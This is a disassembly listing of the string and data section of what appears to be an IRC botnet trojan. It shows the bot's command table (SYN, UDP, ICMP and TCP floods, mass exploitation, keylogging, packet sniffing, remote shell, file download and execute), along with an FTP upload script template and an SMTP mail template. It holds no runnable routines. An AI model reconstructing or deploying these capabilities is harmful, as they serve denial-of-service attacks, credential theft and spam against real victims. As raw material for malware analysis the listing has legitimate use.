		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4349D0	db    2			; DATA XREF: seg000:004106DFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_434A14	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0041064Ao
		dd 2029206Ch, 2BBBB02h
aFailedToSta_15	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_434A60	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:004105D0o
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_434AA0	db    2			; DATA XREF: seg000:00410560o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_434AF4	db    2			; DATA XREF: seg000:004104F1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_434B34	db    2			; DATA XREF: seg000:00410422o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
unk_434B88	db    2			; DATA XREF: seg000:004103B3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 4
unk_434BD8	db    2			; DATA XREF: seg000:00410328o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_434C28	db    2			; DATA XREF: seg000:004102B9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: seg000:00410235o
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: seg000:00410138o
		align 4
dword_434C98	dd 54434101h, 204E4F49h, 17325h					; seg000:004110E8o
dword_434CA4	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0041004Bo
					; seg000:00411BE1o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start scan thread, error: <%d>.',0
dword_434CF0	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040FFDCo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: seg000:0040FFB1o
					; seg000:00411B45o
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: seg000:0040FFAAo
					; seg000:00411B3Eo
		align 4
dword_434D7C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040FE6Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_18	db '  Failed to start scan, no IP specified.',0
		align 4
dword_434DC8	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040FD25o
					; seg000:00411989o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
dword_434E1C	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040FCF4o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_434E68	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040FC85o
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040FBBEo
		align 4
unk_434EDC	db    2			; DATA XREF: seg000:0040FBA9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_434F28	db    2			; DATA XREF: seg000:0040FB3Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_434F84	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:loc_40FAA1o
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_434FD0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040FA97o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_21	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43501C	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040FA1Do
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: seg000:0040FA0Do
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:0040FA06o
dword_435074	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040F971o
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4350B0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:loc_40F889o
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_4350F0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040F882o
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:0040F86Bo
aSS_4		db '-s:%s',0            ; DATA XREF: seg000:0040F854o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:0040F834o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:0040F7FFo
		align 4
dword_43516C	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040F781o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 10h
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: seg000:0040F75Eo
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: seg000:0040F73Bo
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: seg000:0040F724o
		align 4
unk_4351C8	db    3			; DATA XREF: seg000:0040F6E3o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; »
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:0040F66Fo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: seg000:0040F5D3o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: seg000:0040F584o
		align 4
aUsa		db 'usa',0              ; DATA XREF: seg000:0040F56Do
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: seg000:0040F556o
		align 4
aPg		db 'pg',0               ; DATA XREF: seg000:0040F53Fo
		align 10h
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: seg000:0040F528o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: seg000:0040F511o
		align 4
aPu		db 'pu',0               ; DATA XREF: seg000:0040F4FAo
		align 10h
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: seg000:0040F4E3o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: seg000:0040F4CCo
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: seg000:0040F49Eo
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: seg000:0040F475o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: seg000:0040F45Eo
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: seg000:0040F447o
		align 10h
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: seg000:0040F430o
		align 10h
aEnz_ps		db 'enz.ps',0           ; DATA XREF: seg000:0040F419o
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: seg000:0040F402o
		align 4
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: seg000:0040F3EBo
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: seg000:0040F3D4o
		align 4
aD1		db 'd1',0               ; DATA XREF: seg000:0040F3BDo
		align 10h
aDonad_frwww	db 'donad.frwww',0      ; DATA XREF: seg000:0040F3A6o
aSy1		db 'sy1',0              ; DATA XREF: seg000:0040F38Fo
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: seg000:0040F378o
		align 10h
aDs_rm		db 'ds.rm',0            ; DATA XREF: seg000:0040F361o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: seg000:0040F34Ao
		align 10h
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: seg000:0040F333o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: seg000:0040F31Co
aClone_make	db 'clone.make',0       ; DATA XREF: seg000:0040F305o
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: seg000:0040F2DCo
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: seg000:0040F2C5o
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: seg000:0040F2AEo
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: seg000:0040F297o
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: seg000:0040F280o
		align 10h
aBox_findfile	db 'box.findfile',0     ; DATA XREF: seg000:0040F269o
		align 10h
aBox_e		db 'box.e',0            ; DATA XREF: seg000:0040F252o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: seg000:0040F23Bo
aDownload_010	db 'download.010',0     ; DATA XREF: seg000:0040F224o
		align 4
aDownload_up010	db 'download.up010',0   ; DATA XREF: seg000:0040F20Do
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: seg000:0040F1F6o
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: seg000:0040F1DFo
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: seg000:0040F1C8o
		align 10h
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: seg000:0040F1B1o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: seg000:0040F19Ao
aClone_part	db 'clone.part',0       ; DATA XREF: seg000:0040F183o
		align 10h
aClone_j	db 'clone.j',0          ; DATA XREF: seg000:0040F16Co
aClone_join	db 'clone.join',0       ; DATA XREF: seg000:0040F155o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: seg000:0040F13Eo
		align 10h
aClone_nick	db 'clone.nick',0       ; DATA XREF: seg000:0040F127o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: seg000:0040F110o
aClone_mode	db 'clone.mode',0       ; DATA XREF: seg000:0040F0F9o
		align 10h
aClone_ra	db 'clone.ra',0         ; DATA XREF: seg000:0040F0E2o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: seg000:0040F0CBo
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: seg000:0040F0B4o
		align 10h
aEnz_mode	db 'enz.mode',0         ; DATA XREF: seg000:0040F09Do
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: seg000:0040F086o
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: seg000:0040F06Fo
		align 10h
aEnz_ac		db 'enz.ac',0           ; DATA XREF: seg000:0040F058o
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: seg000:0040F041o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: seg000:0040F02Ao
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: seg000:0040F013o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: seg000:0040EFFCo
		align 10h
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: seg000:0040EFE5o
		align 10h
aEnz_gh		db 'enz.gh',0           ; DATA XREF: seg000:0040EFBCo
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: seg000:0040EFA5o
dword_435514	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EF57o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_435544	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EF50o
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_435578	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EF08o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4355A8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040EF01o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: seg000:0040EE74o
		align 4
dword_4355E4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EE69o
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_435618	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040EE5Fo
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: seg000:0040EDF7o
		align 4
aDelete		db 'delete',0           ; DATA XREF: seg000:0040EDDCo
		align 4
aPause		db 'pause',0            ; DATA XREF: seg000:0040EDA9o
		align 4
aStop		db 'stop',0             ; DATA XREF: seg000:0040ED91o
		align 4
dword_43566C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40ED86o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_4356A0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040ED7Co
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_4356D8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040ECF8o
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: seg000:0040ECD4o
unk_43572C	db    2			; DATA XREF: seg000:0040EC93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_22	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_43577C	db    2			; DATA XREF: seg000:0040EC28o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4357B0	db    2			; DATA XREF: seg000:0040EBAAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4357E4	db    2			; DATA XREF: seg000:loc_40EB86o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_435824	db    2			; DATA XREF: seg000:0040EB7Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aBox_keylog	db 'box.keylog',0       ; DATA XREF: seg000:0040EB22o
		align 10h
unk_435880	db    2			; DATA XREF: seg000:loc_40EB18o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_4358BC	db    2			; DATA XREF: seg000:0040EB0Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: seg000:0040EAEBo
					; seg000:0040EB59o
unk_43590C	db    2			; DATA XREF: seg000:0040EAE0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_23	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_43595C	db    2			; DATA XREF: seg000:0040EA71o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_4359A0	db    2			; DATA XREF: seg000:0040EA0Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: seg000:0040E9EDo
					; seg000:0040EB37o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: seg000:0040E9D8o
		align 10h
aBox_rf		db 'box.rf',0           ; DATA XREF: seg000:0040E9C1o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: seg000:0040E9AAo
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: seg000:0040E993o
		align 10h
aBox_cmd	db 'box.cmd',0          ; DATA XREF: seg000:0040E97Co
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: seg000:0040E94Eo
					; seg000:0040E965o
		align 4
aEnz_v		db 'enz.v',0            ; DATA XREF: seg000:0040E937o
		align 4
aEnz_visit	db 'enz.visit',0        ; DATA XREF: seg000:0040E920o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: seg000:0040E909o
		align 10h
aBox_filelist	db 'box.filelist',0     ; DATA XREF: seg000:0040E8F2o
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: seg000:0040E8DBo
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: seg000:0040E8C4o
aBox_del	db 'box.del',0          ; DATA XREF: seg000:0040E8ADo
aBox_delete	db 'box.delete',0       ; DATA XREF: seg000:0040E896o
		align 4
aBox_pkid	db 'box.pkid',0         ; DATA XREF: seg000:0040E87Fo
		align 10h
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: seg000:0040E868o
		align 10h
aBox_kpn	db 'box.kpn',0          ; DATA XREF: seg000:0040E851o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: seg000:0040E83Ao
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: seg000:0040E823o
		align 4
aEnz_dns	db 'enz.dns',0          ; DATA XREF: seg000:0040E80Co
aEnz_se		db 'enz.se',0           ; DATA XREF: seg000:0040E7F5o
		align 4
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: seg000:0040E7DEo
		align 4
aBox_o		db 'box.o',0            ; DATA XREF: seg000:0040E7C7o
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: seg000:0040E7B0o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: seg000:0040E799o
		align 10h
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: seg000:0040E782o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: seg000:0040E76Bo
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: seg000:0040E754o
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: seg000:0040E73Do
aClone_quit	db 'clone.quit',0       ; DATA XREF: seg000:0040E726o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: seg000:0040E70Fo
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: seg000:0040E6F8o
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: seg000:0040E6E1o
		align 10h
aEnz_raw	db 'enz.raw',0          ; DATA XREF: seg000:0040E6CAo
aEnz_pt		db 'enz.pt',0           ; DATA XREF: seg000:0040E6B3o
		align 10h
aEnz_part	db 'enz.part',0         ; DATA XREF: seg000:0040E69Co
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: seg000:0040E685o
		align 4
aEnz_join	db 'enz.join',0         ; DATA XREF: seg000:0040E66Eo
		align 10h
aEnz_n		db 'enz.n',0            ; DATA XREF: seg000:0040E657o
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: seg000:0040E640o
		align 4
aVall		db 'vall',0             ; DATA XREF: seg000:0040E61Ao
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: seg000:0040E605o
		align 10h
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: seg000:0040E5F0o
		align 10h
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: seg000:0040E5DBo
		align 10h
aServer_web_on	db 'server.web.on',0    ; DATA XREF: seg000:0040E5C6o
		align 10h
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: seg000:0040E5B1o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: seg000:0040E59Co
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: seg000:0040E587o
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: seg000:0040E572o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: seg000:0040E55Do
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: seg000:0040E548o
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: seg000:0040E533o
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: seg000:0040E51Eo
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: seg000:0040E509o
dword_435C48	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E4F8o
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: seg000:0040E4C4o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:0040E4B7o
aLoginList	db '-[Login List]-',0   ; DATA XREF: seg000:0040E495o
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: seg000:0040E47Co
aCmd		db '[CMD]',0            ; DATA XREF: seg000:0040E471o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: seg000:0040E46Co
		align 4
